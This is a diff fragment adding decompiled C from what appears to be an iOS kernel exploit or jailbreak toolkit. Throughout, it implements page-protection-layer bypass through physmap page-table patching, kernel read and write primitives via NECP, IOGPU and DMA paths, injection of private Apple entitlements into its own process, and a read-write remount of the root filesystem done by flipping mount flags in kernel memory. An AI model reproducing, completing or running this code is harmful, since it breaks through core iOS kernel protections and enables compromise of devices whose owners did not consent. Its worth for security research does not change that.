+  int v11; // w9
+  char *v13; // x22
+  unsigned __int64 v14; // x9
+  __int64 v15; // x0
+  __int64 v16; // x23
+  unsigned __int64 v17; // x0
+  unsigned __int64 v18; // x0
+  __int64 v19; // x0
+  int v20; // w9
+  __int128 v21; // [xsp+0h] [xbp-60h] BYREF
+  unsigned __int64 v22; // [xsp+10h] [xbp-50h]
+  __int128 v23; // [xsp+18h] [xbp-48h] BYREF
+  unsigned __int64 v24; // [xsp+28h] [xbp-38h]
+
+  v6 = krwCtx->pplPhysmapBase;
+  if ( v6 )
+  {
+    v7 = krwCtx->pplPhysmapSize;
+LABEL_3:
+    *a2 = v6;
+    *a3 = v7;
+    return 1;
+  }
+  v9 = krwCtx->kernelMachoCtx;
+  v10 = *(uint32_t *)(v9 + 112);
+  if ( v10 > 8791 )
+  {
+    if ( v10 != 8792 && v10 != 8796 )
+    {
+      v11 = 10002;
+LABEL_13:
+      if ( v10 != v11 )
+      {
+        v13 = 0;
+        goto LABEL_15;
+      }
+    }
+  }
+  else if ( (unsigned int)(v10 - 8019) >= 2 )
+  {
+    if ( v10 == 6153 )
+    {
+      v13 = "1F 01 .. EB 20 91 .. FA .. .. 00 54";
+      goto LABEL_15;
+    }
+    v11 = 7195;
+    goto LABEL_13;
+  }
+  v13 = "1F 01 13 EB 20 91 53 FA .. .. 00 54 68 02";
+LABEL_15:
+  macho_walk_segment_by_name("__PPLTEXT", &v23, v9);
+  if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(6153, 102, 2, 0, 0) && krwCtx->xnuMajorVersion <= 7194 )
+  {
+    if ( !*((uint64_t *)&v23 + 1) )
+      return 0;
+    v14 = krwCtx->pageSizeOrSomething;
+    if ( v24 <= v14 )
+      return 0;
+    *((uint64_t *)&v23 + 1) += v14;
+    v24 -= v14;
+  }
+  v21 = v23;
+  v22 = v24;
+  v15 = kernel_pattern_scan((__int64)&v21, v13, 0);
+  if ( v15 )
+  {
+    v16 = v15;
+    v17 = find_kernel_func(krwCtx->kernelMachoCtx, (__int64 *)(v15 - 16));
+    if ( v17 )
+      v6 = macho_read_u64_thunk(krwCtx->kernelMachoCtx, v17);
+    else
+      v6 = 0;
+    if ( krwCtx->xnuMajorVersion >= 7195 )
+    {
+      v18 = find_kernel_func(krwCtx->kernelMachoCtx, (__int64 *)(v16 - 8));
+      if ( !v18 )
+        return 0;
+      v19 = macho_read_u64_thunk(krwCtx->kernelMachoCtx, v18);
+      if ( !v19 )
+        return 0;
+      v7 = v19 - v6;
+      if ( !v6 )
+        return 0;
+LABEL_31:
+      v20 = krwCtx->xnuMajorVersion;
+      if ( v20 <= 7194 )
+      {
+        if ( v20 < 6153 )
+        {
+          v7 = 589824;
+        }
+        else if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(6153, 40, 120, 1023, 1023) )
+        {
+          v7 = 573440;
+        }
+        else
+        {
+          v7 = 557056;
+        }
+      }
+      krwCtx->pplPhysmapBase = v6;
+      krwCtx->pplPhysmapSize = v7;
+      goto LABEL_3;
+    }
+    v7 = 0;
+    if ( v6 )
+      goto LABEL_31;
+  }
+  return 0;
+}
+// 19B94: using guessed type __int64 __fastcall macho_read_u64_thunk(uint64_t, uint64_t);
+
+//----- (0000000000013750) ----------------------------------------------------
+bool __fastcall pgtable_walk_for_physmap(struct_krwCtx *krwCtx, unsigned __int64 a2, unsigned __int64 a3)
+{
+  unsigned __int64 v6; // x21
+  __int64 v8; // x20
+  unsigned __int64 v9; // x22
+  unsigned __int64 v10; // x21
+  struct
+  {
+    __int128 q0;
+    __int128 q1;
+    unsigned __int64 q2;
+  } v11, v14;
+
+  memset(&v11, 0, sizeof(v11));
+  memset(&v14, 0, sizeof(v14));
+  if ( pgtable_walk_wrapper(krwCtx, a3, &v11) )
+  {
+    asm volatile("" ::: "memory");
+    if ( BYTE4(v11.q1) == 3 )
+    {
+      v6 = v11.q2;
+      if ( pgtable_walk_wrapper(krwCtx, a2, &v14) )
+      {
+        asm volatile("" ::: "memory");
+        if ( BYTE4(v14.q1) == 3 )
+        {
+          v8 = *(__int64 *)&v14.q0;
+          v9 = v14.q2;
+          v10 = (v14.q2 & 0xFFFF000000003FFFLL) | (((v6 >> 14) & 0x3FFFFFFFFLL) << 14);
+          if ( ((unsigned int)v10 == (unsigned int)v14.q2 || check_physmap_range_necp(krwCtx, *(__int64 *)&v14.q0, v10))
+            && (HIDWORD(v9) == HIDWORD(v10) || check_physmap_range_necp(krwCtx, v8 + 4, SHIDWORD(v10))) )
+          {
+            semaphore_timedwait_ns(krwCtx, 0x2710u);
+            return 1;
+          }
+        }
+      }
+    }
+  }
+  return 0;
+}
+
+//----- (0000000000013844) ----------------------------------------------------
+// DONE: matches orig asm shape; x0 carries the bool result from the tail call/callee.
+bool __fastcall physmap_table_write_versioned(struct_krwCtx *krwCtx, unsigned __int64 a2, int a3)
+{
+    int v8; // [xsp+1Ch] [xbp-24h] BYREF
+    unsigned __int64 v7; // [xsp+10h] [xbp-30h] BYREF
+    unsigned int v6; // [xsp+Ch] [xbp-34h] BYREF
+
+    v8 = a3;
+    v7 = 0;
+    v6 = 0;
+    if ( !krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) ) return 0;
+    if ( krwCtx->xnuVersionPacked >= (uint64_t)XNU_VERSION_PACKED(8019, 0, 0, 0, 0) )
+        return check_physmap_range_necp(krwCtx, a2, a3);
+    if ( !get_kwrite_fn(krwCtx, (__int64 *)&v7, (int *)&v6) )
+        return 0;
+    if ( v7 <= a2 && a2 + 4 <= v7 + v6 ) {
+        return necp_kread_region(krwCtx, a2, (__int64)&v8, 4);
+    }
+    return check_physmap_range_necp(krwCtx, a2, a3);
+}
+
+//----- (0000000000013924) ----------------------------------------------------
+bool __fastcall check_physmap_range_necp(struct_krwCtx *krwCtx, unsigned __int64 a2, int a3)
+{
+  unsigned __int64 xnuVersionPacked; // x8
+  int v8; // w0
+  bool a13PlusUsesNewNecpPath; // w0
+  bool a15PlusUsesNewNecpPath; // w0
+  bool a13PlusUsesIogpuPath; // w0
+  bool a15PlusUsesIogpuPath; // w0
+
+  xnuVersionPacked = krwCtx->xnuVersionPacked;
+  a13PlusUsesNewNecpPath = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A13_A14_A15_A16_A17_MASK)
+                         && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 198, 1023, 1023)
+                          || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 142, 0, 1023, 1023) && krwCtx->xnuMajorVersion < 10002));
+  a15PlusUsesNewNecpPath = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A15_A16_A17_MASK)
+                         && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023)
+                          || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 122, 4, 1023, 1023) && krwCtx->xnuMajorVersion <= 10001));
+  if ( a13PlusUsesNewNecpPath || a15PlusUsesNewNecpPath )
+  {
+    v8 = pgtable_locked_kwrite32_retry(krwCtx, a2, a3);
+    return v8 == 0;
+  }
+
+  a13PlusUsesIogpuPath = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A13_A14_A15_A16_A17_MASK)
+                       && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 198, 1023, 1023)
+                        || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 142, 0, 1023, 1023) && krwCtx->xnuMajorVersion < 10002));
+  a15PlusUsesIogpuPath = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A15_A16_A17_MASK)
+                       && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023)
+                        || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 122, 4, 1023, 1023) && krwCtx->xnuMajorVersion < 10002));
+  if ( a13PlusUsesIogpuPath || a15PlusUsesIogpuPath )
+  {
+    if ( xnuVersionPacked > XNU_VERSION_PACKED(10002, 42, 7, 1023, 1023) )
+      return 0;
+    v8 = iogpu_kernel_read_op(krwCtx, a2, a3);
+    return v8 == 0;
+  }
+  v8 = dmaFail_physwrite32(krwCtx, a2, a3);
+  return v8 == 0;
+}
+
+//----- (0000000000013AE4) ----------------------------------------------------
+__int64 __fastcall ppl_kwritebuf(struct_krwCtx *krwCtx, unsigned __int64 vaddr, void *newBytes, int size)
+{
+  __int64 v8; // x20
+  char v9; // w23
+  unsigned int v10; // w26
+  mach_vm_address_t vaddr_; // x25
+  unsigned int v12; // w9
+  size_t size_; // x24
+  unsigned int v14; // w28
+  char *newBytes_; // x26
+  int v16; // w0
+  vm_address_t address; // [xsp+8h] [xbp-58h] BYREF
+
+  if ( vm_allocate(mach_task_self_, &address, krwCtx->pageSizeOrSomething, 1) )
+    return 0;
+  v9 = kaddr_need_ppl_bypass(krwCtx, vaddr);
+  v10 = 0;
+  while ( 1 )
+  {
+    vaddr_ = vaddr + v10;
+    v12 = krwCtx->pageSizeOrSomething - (vaddr_ & (uint32_t)krwCtx->pageMask);
+    size_ = size - v10 <= v12 ? size - v10 : v12;
+    if ( !(unsigned int)krw_read_thunk(krwCtx, vaddr + v10, size_, (void *)address) )
+      break;
+    v14 = v10;
+    newBytes_ = (char *)newBytes + v10;
+    if ( memcmp((const void *)address, newBytes_, size_) )
+    {
+      v16 = ppl_kwritebuf_nocheck(krwCtx, vaddr_, (__int64)newBytes_, size_, v9, 0);
+      if ( !v16 )
+        break;
+    }
+    v10 = size_ + v14;
+    if ( (uint32_t)size_ + v14 == size )
+    {
+      v8 = 1;
+      goto LABEL_13;
+    }
+  }
+  v8 = 0;
+LABEL_13:
+  vm_deallocate(mach_task_self_, address, krwCtx->pageSizeOrSomething);
+  return v8;
+}
+// 13BC4: variable 'v16' is possibly undefined
+
+//----- (0000000000013C14) ----------------------------------------------------
+bool __fastcall kaddr_need_ppl_bypass(struct_krwCtx *krwCtx, unsigned __int64 vaddr)
+{
+  uint64_t result; // x0
+  __int64 v5; // x8
+  unsigned __int64 v6; // x9
+
+  result = 1;
+  if ( !map_physpage_to_user(krwCtx, vaddr, 0, vaddr) )
+  {
+    v5 = KRWCTX_FIELD_U64(krwCtx, 6648);
+    if ( !v5 )
+      return 0;
+    v6 = *(uint64_t *)(v5 + 224);
+    if ( v6 > vaddr || *(uint64_t *)(v5 + 232) + v6 <= vaddr )
+      return 0;
+  }
+  return result;
+}
+
+//----- (0000000000013C78) ----------------------------------------------------
+bool __fastcall ppl_kwritebuf_nocheck(
+        struct_krwCtx *krwCtx,
+        mach_vm_address_t vaddr,
+        __int64 newBytes,
+        __int64 size,
+        char pplBypass,
+        int a6)
+{
+  __int64 v10; // x8
+  mach_vm_address_t v11; // x1
+  struct
+  {
+    unsigned __int64 base;
+    unsigned __int8 gap8[12];
+    unsigned __int8 prot;
+    unsigned __int8 gap15[11];
+    __int64 flags;
+  } regionInfo; // [xsp+8h] [xbp-58h] BYREF
+
+  if ( vaddr )
+  {
+    if ( newBytes )
+    {
+      if ( (uint32_t)size )
+      {
+        v10 = krwCtx->pageMask;
+        v11 = vaddr & ~v10;
+        if ( v11 == ((vaddr + (unsigned int)size - 1) & ~v10) )
+        {
+          if ( (pplBypass & 1) != 0 )
+          {
+            return ppl_physmap_table_patch_write(krwCtx, vaddr, newBytes, size, a6);
+          }
+          else
+          {
+            memset(&regionInfo, 0, sizeof(regionInfo));
+            if ( pgtable_walk_wrapper(krwCtx, v11, &regionInfo) && (regionInfo.prot | 2) == 3 )
+            {
+              if ( (regionInfo.flags & 0x80) != 0 )
+              {
+                if ( !physmap_table_write_versioned(krwCtx, regionInfo.base, regionInfo.flags & 0xFFFFFF7F) )
+                  return 0;
+                semaphore_timedwait_ns(krwCtx, 0x2710u);
+              }
+              return (unsigned int)kwrite_something(krwCtx, vaddr, newBytes, size, a6) != 0;
+            }
+          }
+        }
+      }
+    }
+  }
+  return 0;
+}
+
+//----- (0000000000013D9C) ----------------------------------------------------
+bool __fastcall ppl_kwrite_physmap_checked(struct_krwCtx *krwCtx, unsigned __int64 a2, __int64 a3)
+{
+    char v6; // w0
+    unsigned __int64 v7; // [xsp+0h] [xbp-30h] BYREF
+    __int64 v8; // [xsp+8h] [xbp-28h] BYREF
+    
+    v8 = a3;
+    if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) && kread_physmap_decorated(krwCtx, a2, &v7) )
+    {
+        if ( v7 == a3 )
+            return true;
+        v6 = kaddr_need_ppl_bypass(krwCtx, a2);
+        return ppl_kwritebuf_nocheck(krwCtx, a2, (__int64)&v8, (unsigned int)krwCtx->stride_0x168, v6, 1);
+    }
+    return false;
+}
+
+//----- (0000000000013E38) ----------------------------------------------------
+__int64 __fastcall kwrite_something(struct_krwCtx *krwCtx, mach_vm_address_t a2, __int64 a3, __int64 a4, int a5)
+{
+  __int64 result; // x0
+  __int64 v6; // [xsp+8h] [xbp-18h] BYREF
+
+  if ( !a5 || krwCtx->stride_0x168 != (uint32_t)a4 )
+  {
+    result = kwrite_with_retry(krwCtx, a2, a3, a4);
+    if ( !(uint32_t)result )
+      return result;
+    return 1;
+  }
+  v6 = 0;
+  __memcpy_chk(&v6, (const void *)a3, (unsigned int)a4, 8);
+  result = kwrite64(krwCtx, a2, v6);
+  if ( (uint32_t)result )
+    return 1;
+  return result;
+}
+
+//----- (0000000000013EBC) ----------------------------------------------------
+__int64 __fastcall get_root_statfs(struct_krwCtx *krwCtx, int *outIsReadWrite)
+{
+  char *v3; // x20
+  int isReadWrite; // w8
+  __int16 v6; // [xsp+Eh] [xbp-8D2h] BYREF
+  char mnt1[48]; // [xsp+10h] [xbp-8D0h] BYREF
+  struct statfs v8; // [xsp+40h] [xbp-8A0h] BYREF
+
+  bzero(&v8, 0x878u);
+  v6 = 47;
+  strcpy(mnt1, "/private/var/MobileSoftwareUpdate/mnt1");
+  if ( check_root_fs_mounted(0) )
+    v3 = mnt1;
+  else
+    v3 = (char *)&v6;
+  if ( statfs(v3, &v8) )
+  {
+    if ( errno != 2 )
+      return 0;
+  }
+  else if ( !((*(uint64_t *)v8.f_mntfromname ^ 'sid/ved/') | (*(uint64_t *)&v8.f_mntfromname[7] ^ '1s1s0ks'))
+         && !strcmp(v3, v8.f_mntonname) )
+  {
+    isReadWrite = (v8.f_flags & MNT_RDONLY) == 0;
+    goto LABEL_10;
+  }
+  isReadWrite = 3;
+LABEL_10:
+  *outIsReadWrite = isReadWrite;
+  return 1;
+}
+
+//----- (0000000000013FF8) ----------------------------------------------------
+bool __fastcall check_iogpu_krw_ready_3(struct_krwCtx *krwCtx, char *a2)
+{
+  int v3; // w8
+  uint64_t v4; // x21
+  __int64 v5; // x21
+  int v6; // w0
+  int v7; // w20
+  __int64 v8; // x0
+  int v10; // [xsp+4h] [xbp-2Ch] BYREF
+  __int64 v11; // [xsp+8h] [xbp-28h] BYREF
+
+  v10 = 0;
+  v3 = krwCtx->xnuMajorVersion;
+  if ( (unsigned int)(v3 - 8019) < 2 )
+  {
+    v5 = 608;
+  }
+  else if ( v3 == 6153 )
+  {
+    v5 = 520;
+  }
+  else
+  {
+    v4 = 0;
+    if ( v3 != 7195 )
+      return v4;
+    if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
+      v5 = 536;
+    else
+      v5 = 512;
+  }
+  v6 = open(a2, 0x100000);
+  if ( v6 < 0 )
+    return 0;
+  v7 = v6;
+  v8 = get_kernel_base_physmap(krwCtx, v7);
+  v11 = v8;
+  if ( v8
+    && kread_physmap_decorated(krwCtx, v8 + v5, (unsigned __int64 *)&v11)
+    && validate_kaddr_range(krwCtx, v11)
+    && kread_physmap_decorated(krwCtx, v11 + 224, (unsigned __int64 *)&v11)
+    && validate_kaddr_range(krwCtx, v11)
+    && (unsigned int)krw_read_thunk(krwCtx, v11 + 48, 4, &v10) )
+  {
+    v10 &= ~0x4000u;
+    v4 = (unsigned int)kwrite_with_retry(krwCtx, v11 + 48, (__int64)&v10, 4) != 0;
+  }
+  else
+  {
+    v4 = 0;
+  }
+  close(v7);
+  return v4;
+}
+
+//----- (0000000000014164) ----------------------------------------------------
+__int64 __fastcall get_kernel_base_physmap(struct_krwCtx *krwCtx, int a2)
+{
+  int xnuMajorVersion; // w8
+  __int64 result; // x0
+  __int64 v7; // [xsp+8h] [xbp-18h] BYREF
+
+  xnuMajorVersion = krwCtx->xnuMajorVersion;
+  if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 7195 && xnuMajorVersion != 6153 )
+    return 0;
+  result = get_kbase_from_fileport(krwCtx, a2);
+  if ( !result )
+    return result;
+  v7 = result + 2296;
+  if ( !kread_physmap_decorated(krwCtx, result + 2296, (unsigned __int64 *)&v7) )
+    return 0;
+  if ( validate_kaddr_range(krwCtx, v7) )
+    return v7;
+  return 0;
+}
+
+//----- (00000000000141F0) ----------------------------------------------------
+__int64 __fastcall check_root_disk_identity(struct_krwCtx *krwCtx)
+{
+  __int64 result; // x0
+  unsigned int v3; // w20
+  int v4; // w0
+  char v6[2]; // [xsp+6h] [xbp-8CAh] BYREF
+  struct statfs v7; // [xsp+8h] [xbp-8C8h] BYREF
+  char v8[40]; // [xsp+880h] [xbp-50h] BYREF
+
+  strcpy(v6, "/");
+  strcpy(v8, "/private/var/MobileSoftwareUpdate/mnt1");
+  bzero(&v7, 0x878u);
+  if ( statfs(v6, &v7) )
+    return 0;
+  result = add_rw_to_disk(krwCtx, v6, "/dev/disk0s1s1");
+  if ( (uint32_t)result )
+  {
+    v3 = 0;
+    do
+    {
+      usleep(0x186A0u);
+      v4 = check_path_on_disk0s1s1(v8);
+      if ( !v4 )
+        break;
+    }
+    while ( v3++ < 0x32 );
+    if ( !v4 )
+      return 1;
+    add_rw_to_disk(krwCtx, v6, v7.f_mntfromname);
+    return 0;
+  }
+  return result;
+}
+
+//----- (00000000000142F8) ----------------------------------------------------
+__int64 __fastcall add_rw_to_disk(struct_krwCtx *krwCtx, const char *a2, const char *a3)
+{
+  int v6; // w8
+  size_t v9; // x0
+  int v10; // w22
+  int v11; // w0
+  int v12; // w21
+  __int64 v13; // x0
+  __int64 v14; // x23
+  __int64 arg_1; // x19
+  int v17; // [xsp+Ch] [xbp-8B4h] BYREF
+  struct statfs v18; // [xsp+10h] [xbp-8B0h] BYREF
+
+  bzero(&v18, 0x878u);
+  v17 = 0;
+  v6 = krwCtx->xnuMajorVersion;
+  if ( (unsigned int)(v6 - 8019) >= 2 && v6 != 7195 && v6 != 6153 )
+    return 0;
+  if ( statfs(a2, &v18) )
+    return 0;
+  v9 = strlen(a3);
+  if ( v9 > 0x3FF )
+    return 0;
+  v10 = v9;
+  v11 = open(a2, 0);
+  if ( v11 < 1 )
+    return 0;
+  v12 = v11;
+  v13 = ((__int64 (__cdecl *)())get_kbase_from_fileport)();
+  if ( v13
+    && (v14 = v13 + 1252, (unsigned int)krw_read_thunk(krwCtx, v13 + 1252, 4, &v17))
+    && v17 == *(uint32_t *)v18.f_mntfromname )
+  {
+    arg_1 = kwrite_with_retry(krwCtx, v14, (__int64)a3, (unsigned int)(v10 + 1));
+  }
+  else
+  {
+    arg_1 = 0;
+  }
+  close(v12);
+  return arg_1;
+}
+
+//----- (0000000000014444) ----------------------------------------------------
+bool __fastcall check_path_on_disk0s1s1(const char *a1)
+{
+  struct statfs v3; // [xsp+0h] [xbp-8A0h] BYREF
+
+  bzero(&v3, 0x878u);
+  if ( statfs(a1, &v3) )
+  {
+    __error();
+  }
+  else if ( !((*(uint64_t *)v3.f_mntfromname ^ 0x7369642F7665642FLL) | (*(uint64_t *)&v3.f_mntfromname[7] ^ 0x31733173306B73LL)) )
+  {
+    return strcmp(a1, v3.f_mntonname) == 0;
+  }
+  return 0;
+}
+
+//----- (0000000000014524) ----------------------------------------------------
+__int64 __fastcall check_mount_thread_info(struct_krwCtx *krwCtx, int a2)
+{
+  int v4; // w21
+  char *v5; // x0
+  const char *v6; // x1
+  char v7; // w2
+  __int64 v8; // x20
+  struct_krwCtx *v9; // x0
+  int v10; // w1
+  const char *v11; // x8
+  int v12; // w20
+  int v13; // w21
+  int v14; // w0
+  int v16; // w0
+  char v18[3]; // [xsp+4h] [xbp-8Ch] BYREF
+  bool v19; // [xsp+7h] [xbp-89h] BYREF
+  struct statfs *v20; // [xsp+8h] [xbp-88h] BYREF
+  char __s1[39]; // [xsp+10h] [xbp-80h] BYREF
+  const char *v22[6]; // [xsp+38h] [xbp-58h] BYREF
+
+  v19 = 0;
+  strcpy(__s1, "/private/var/MobileSoftwareUpdate/mnt1");
+  strcpy(v18, "/");
+  krw_ctx_set_flag(krwCtx, KRW_CTX_FLAG_SNAPSHOT_MOUNTED);
+  if ( !(unsigned int)krw_inject_entitlements_to_task(
+                                           krwCtx,
+                        mach_task_self_,
+                        "<dict><key>com.apple.private.vfs.snapshot</key><true/></dict>",
+                        0,
+                        8) )
+    return 0;
+  if ( !(unsigned int)check_necp_kread_available() )
+    return 0;
+  v4 = check_root_fs_mounted(&v19);
+  if ( v4 && !v19 && !(unsigned int)check_root_disk_identity(krwCtx) )
+    return 0;
+  if ( a2 == 4 || a2 == 2 )
+  {
+    if ( !v4 )
+    {
+      v7 = a2 == 4;
+      v6 = "orig-fs";
+      v5 = v18;
+LABEL_18:
+      v8 = check_and_copy_file_paths(v5, v6, v7);
+      if ( !(uint32_t)v8 )
+        return v8;
+      goto LABEL_21;
+    }
+    if ( !check_path_on_disk0s1s1(__s1) )
+    {
+      v8 = 1;
+LABEL_21:
+      krw_ctx_clr_flag(krwCtx, 1024);
+      return v8;
+    }
+    if ( (unsigned int)check_disk0s1s1_path(krwCtx, __s1) )
+    {
+      v5 = __s1;
+      v6 = 0;
+      v7 = 0;
+      goto LABEL_18;
+    }
+    return 0;
+  }
+  if ( !v4 )
+  {
+    if ( a2 == 1 )
+    {
+      if ( !(unsigned int)enumerate_file_paths(v18, "orig-fs") )
+        return 0;
+      v10 = 1;
+    }
+    else
+    {
+      v10 = 0;
+    }
+    return get_mount_disk_info(krwCtx, v10);
+  }
+  if ( check_path_on_disk0s1s1(__s1) )
+  {
+    if ( a2 == 1 )
+    {
+      if ( !(unsigned int)enumerate_file_paths(__s1, 0) )
+        return 0;
+      return (unsigned int)get_kernel_load_addr_bsm((__int64)"/dev/disk0s1s1", __s1, 0x110000u) == 0;
+    }
+    return check_disk0s1s1_path(krwCtx, __s1);
+  }
+  if ( !(unsigned int)add_rw_to_disk(krwCtx, v18, "/dev/disk0s1s1") )
+    return 0;
+  v11 = "rdonly,nobrowse";
+  v20 = 0;
+  v22[0] = "/sbin/mount_apfs";
+  v22[1] = "-o";
+  if ( a2 == 1 )
+    v11 = "nobrowse";
+  v22[2] = v11;
+  v22[3] = "/dev/disk0s1s1";
+  v22[4] = __s1;
+  v22[5] = 0;
+  if ( !memcmp(__s1, "/private/var/MobileSoftwareUpdate", 0x21u)
+    && mkdir("/private/var/MobileSoftwareUpdate", 0x1FFu)
+    && errno != 17 )
+  {
+    return 0;
+  }
+  if ( !(unsigned int)krw_inject_entitlements_maybe(
+                        krwCtx,
+                        mach_task_self_,
+                        "<dict><key>com.apple.private.security.disk-device-access</key><true/></dict>") )
+    return 0;
+  v12 = mkdir(__s1, 0x1FFu);
+  if ( v12 )
+  {
+    if ( errno != 17 )
+      return 0;
+  }
+  if ( krwCtx->xnuMajorVersion >= 6153 && chown(__s1, 0x1F5u, 0x1F5u) )
+    return 0;
+  v13 = 6;
+  while ( 1 )
+  {
+    v14 = posix_spawn_with_sigdefault(v22);
+    if ( v14 != 49 )
+      break;
+    getmntinfo(&v20, 0);
+    usleep(0xC8u);
+    if ( !--v13 )
+      goto LABEL_47;
+  }
+  if ( !v14 )
+  {
+    v16 = check_path_on_disk0s1s1(__s1);
+    goto LABEL_48;
+  }
+LABEL_47:
+  v16 = 0;
+LABEL_48:
+  if ( !(v16 | v12) )
+  {
+    rmdir(__s1);
+    return 0;
+  }
+  if ( !v16 )
+    return 0;
+  if ( !check_iogpu_krw_ready_3(krwCtx, v18) || (v8 = enumerate_file_paths(__s1, 0), !(uint32_t)v8) )
+  {
+    check_disk0s1s1_path(krwCtx, __s1);
+    return 0;
+  }
+  return v8;
+}
+
+//----- (00000000000148A4) ----------------------------------------------------
+__int64 __fastcall check_disk0s1s1_path(struct_krwCtx *krwCtx, char *a2)
+{
+  __int64 result; // x0
+  int v5; // [xsp+Ch] [xbp-14h] BYREF
+
+  v5 = 0;
+  result = validate_physmap_range_4(krwCtx, a2, 1, (unsigned int *)&v5);
+  if ( (uint32_t)result )
+  {
+    if ( (unsigned int)get_kernel_load_addr_bsm((__int64)"/dev/disk0s1s1", a2, 0x110001u) )
+    {
+      validate_physmap_range_4(krwCtx, a2, v5, 0);
+      return 0;
+    }
+    else
+    {
+      return 1;
+    }
+  }
+  return result;
+}
+
+//----- (0000000000014920) ----------------------------------------------------
+__int64 __fastcall get_mount_disk_info(struct_krwCtx *krwCtx, int a2)
+{
+  unsigned int v4; // w0
+  __int64 v5; // x24
+  char *f_mntonname; // x21
+  unsigned __int64 v7; // x23
+  int v8; // w0
+  __int64 v9; // x24
+  int v10; // w21
+  int v11; // w0
+  int v12; // w22
+  int xnuMajorVersion; // w8
+  __int64 v14; // x0
+  int v15; // w0
+  int v16; // w24
+  int v17; // w2
+  int v18; // w0
+  int v20; // [xsp+0h] [xbp-50h] BYREF
+  int v21; // [xsp+4h] [xbp-4Ch] BYREF
+  struct statfs *v22; // [xsp+8h] [xbp-48h] BYREF
+
+  v22 = 0;
+  v4 = getmntinfo(&v22, 0);
+  if ( v4 )
+  {
+    v5 = v4;
+    f_mntonname = v22->f_mntonname;
+    v7 = 1;
+    do
+    {
+      if ( !strcmp("/", f_mntonname) )
+        v7 = *(f_mntonname - 24) & 1;
+      f_mntonname += 2168;
+      --v5;
+    }
+    while ( v5 );
+  }
+  else
+  {
+    v7 = 1;
+  }
+  v8 = check_root_is_apfs();
+  v21 = 0;
+  if ( ((v7 & 1) == 0) == a2 )
+    return 1;
+  v10 = v8;
+  if ( a2 )
+  {
+    v11 = open("/", 0);
+    if ( v11 == -1 )
+      return 0;
+    v12 = v11;
+    xnuMajorVersion = krwCtx->xnuMajorVersion;
+    if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 7195 && xnuMajorVersion != 6153 )
+      return 0;
+    v14 = get_kbase_from_fileport(krwCtx, v11);
+    v9 = 0;
+    if ( !v14 )
+      return v9;
+    v7 = v14 + 112;
+    if ( v14 == -112 )
+      return v9;
+    if ( !kread_u32(krwCtx, v7, &v20) )
+      return 0;
+    v20 &= ~0x4000u;
+    if ( !noppl_kwrite32(krwCtx, v7, v20) )
+      return 0;
+    v15 = open("/", 0);
+    if ( (v15 & 0x80000000) == 0 )
+    {
+      v16 = v15;
+      LODWORD(v22) = 0;
+      ffsctl(v15, 0x80046814, &v22, 0);
+      LODWORD(v22) = 1;
+      ffsctl(v16, 0x80046815, &v22, 0);
+      LODWORD(v22) = 2;
+      if ( v10 )
+      {
+        ffsctl(v16, 0x80044A11, &v22, 0);
+        LODWORD(v22) = 3;
+      }
+      ffsctl(v16, 0x80046816, &v22, 0);
+      close(v16);
+    }
+    v17 = 0x10000;
+  }
+  else
+  {
+    if ( v8 && !(unsigned int)validate_physmap_range_4(krwCtx, "/", 1, (unsigned int *)&v21) )
+      return 0;
+    v17 = 268500993;
+    v12 = -1;
+  }
+  if ( v10 )
+    v18 = get_kernel_load_addr_bsm((__int64)"/dev/disk0s1s1", "/", v17);
+  else
+    v18 = remount_hfs((__int64)"/dev/disk0s1s1", "/", v17);
+  if ( v18 == -1 )
+  {
+    v9 = 0;
+    if ( a2 )
+      goto LABEL_32;
+  }
+  else
+  {
+    v9 = 1;
+    if ( a2 )
+    {
+LABEL_32:
+      if ( kread_u32(krwCtx, v7, &v20) )
+      {
+        v20 |= 0x4000u;
+        if ( noppl_kwrite32(krwCtx, v7, v20) )
+        {
+          close(v12);
+          return v9;
+        }
+      }
+      return 0;
+    }
+  }
+  if ( (((unsigned int)v9 | !v10) & 1) == 0 && !(unsigned int)validate_physmap_range_4(krwCtx, "/", v21, 0) )
+    return 0;
+  return v9;
+}
+
+//----- (0000000000014BEC) ----------------------------------------------------
+__int64 __fastcall get_root_prefix_path(__int64 a1, void *a2, uint32_t *a3, int *a4)
+{
+  int v7; // w20
+  const char *v8; // x23
+  size_t v9; // x24
+  __int64 result; // x0
+
+  v7 = check_root_fs_mounted(0);
+  if ( v7 )
+  {
+    if ( !check_path_on_disk0s1s1("/private/var/MobileSoftwareUpdate/mnt1") )
+    {
+      LODWORD(v9) = 0;
+LABEL_10:
+      *a3 = v9;
+      result = 1;
+      if ( !a4 )
+        return result;
+      goto LABEL_11;
+    }
+    v8 = "/private/var/MobileSoftwareUpdate/mnt1/";
+  }
+  else
+  {
+    v8 = "/";
+  }
+  v9 = strlen(v8) + 1;
+  if ( v9 <= (unsigned int)*a3 )
+  {
+    memcpy(a2, v8, v9);
+    goto LABEL_10;
+  }
+  result = 0;
+  if ( a4 )
+LABEL_11:
+    *a4 = v7;
+  return result;
+}
+
+//----- (0000000000014CA4) ----------------------------------------------------
+__int64 __fastcall get_kbase_from_fileport(struct_krwCtx *krwCtx, int w1_0)
+{
+  __int64 v3; // x19
+  unsigned __int64 v4; // x0
+  int xnuMajorVersion; // w8
+  __int64 v9; // [xsp+8h] [xbp-28h] BYREF
+  unsigned __int64 v10; // [xsp+10h] [xbp-20h] BYREF
+  mach_port_t a2; // [xsp+1Ch] [xbp-14h] BYREF
+
+  a2 = 0;
